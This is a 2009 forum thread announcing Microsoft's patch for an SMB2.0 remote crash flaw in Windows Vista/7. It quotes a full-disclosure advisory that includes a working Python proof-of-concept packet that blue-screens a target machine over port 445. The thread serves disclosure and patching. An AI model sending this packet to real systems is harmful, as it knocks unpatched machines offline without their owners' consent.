Overclock.net - Overclocking.net
     
 
Home Gallery Reviews Blogs Register Today's Posts Mark Forums Read Members List


Go Back   Overclock.net - Overclocking.net > Software, Programming and Coding > Networking & Security

Reply
 
LinkBack Thread Tools
Old 10-14-09   #1 (permalink)
GH0
Pineapple please!
 
GH0's Avatar
 
intel nvidia

Join Date: Jan 2008
Location: 0.0000 , 0.0000
Posts: 4,304
Blog Entries: 3

Folding Team Rank: 117
Trader Rating: 2
Default Windows Samba Exploit Patched

The exploit used to exist when a mis-guided/harmful packet was sent to any machine using SMB2.0:

(This post is harmless and will not affect your machine)
Quote:
Originally Posted by http://seclists.org/fulldisclosure/2009/Sep/39
Code:
=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
-------------------------
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
-------------------------
Windows vista and newer Windows comes with a new SMB version named SMB2.
See:
http://en.wikipedia.org/wiki/Windows...sage_Block_2.0
for more details.

III. DESCRIPTION
-------------------------
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL
REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB
server, and it's used
to identify the SMB dialect that will be used for futher communication.

IV. PROOF OF CONCEPT
-------------------------

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash without no user interaction, any Vista/Windows
7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-------------------------
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server
2008
as it use the same SMB2.0 driver (not tested).

VII. SOLUTION
-------------------------
Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.

VIII. REFERENCES
-------------------------
http://microsoft.com

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
http://g-laurent.blogspot.com/

X. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
Microsoft has released a patch yesterday (Tuesday) that resolves and patches this exploit.
I would recommend that all users of the affected OS's force a check for any updates, or go to:
http://www.microsoft.com/technet/sec.../ms09-050.mspx

This link contains information regarding the exploit and the patch.
__________________
Diligite Iustitiam Qui Iudicatis Terra | Love righteousness, ye that are judges of the earth! "We're not God. Not only are our powers limited, we sometimes are driven to become the devil himself." "Gather at the Archeron, prisoners of Charon."
"While the mother holds her child, watches them die, Hands to the sky crying, "Why, oh why?" Cause I need to watch things die...from a distance, Vicariously I live while the whole world dies, You all need it too, don't lie."
Please, help me out!

System: Dataslum
CPU
Q6600 @ 3.2
Motherboard
EVGA 780i Motherboard
Memory
OCZ Blade PC-9600
Graphics Card
2x EVGA 9800GTX+ 512 MB (SLI)
Hard Drive
4 Hard Drives
Sound Card
Auzuntech Prelude 7.1
Power Supply
Corsair 1KW
Case
Lian-Li
CPU cooling
Xigmatek
GPU cooling
Stock
OS
Windows 7 Ultimate
Monitor
2x ASUS 23.6" VH242H
1 Million+ Folding at Home points
GH0 is offline I fold for Overclock.net Overclocked Account GH0's Gallery   Reply With Quote
Old 10-14-09   #2 (permalink)
musicphile
 
Miki's Avatar
 
intel nvidia

Join Date: Apr 2007
Location: California
Posts: 2,398

Trader Rating: 3
Default

thanks for the heads up bro
__________________
I'll be really busy next couple weeks and may not be
on every day, so please direct any PM to another mod.

Quote:
Originally Posted by kimosabi View Post
Actually Miki is one of the nicest people on OCN.


System: Vaio CW o_O
CPU
C2D T6600 @ 2.2GHz
Motherboard
heh o_O
Memory
2x2gb DDR3 1066
Graphics Card
GT230M 512mb
Hard Drive
500gb 5400 RPM
Sound Card
Intel HD Audio
Power Supply
Lithium-ion Battery XD
Case
Icy White O_o
OS
7 Home Premium 64bit
Monitor
14" (1366x768)
Miki is offline Overclocked Account   Reply With Quote
Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools



All times are GMT -5. The time now is 11:15 AM.


Overclock.net is a Carbon Neutral Site Creative Commons License

Terms of Service / Forum Rules | Privacy Policy | DMCA Info | Advertising | Become an Official Vendor
Copyright © 2009 Shogun Interactive Development. Most rights reserved.
Page generated in 0.11669 seconds with 8 queries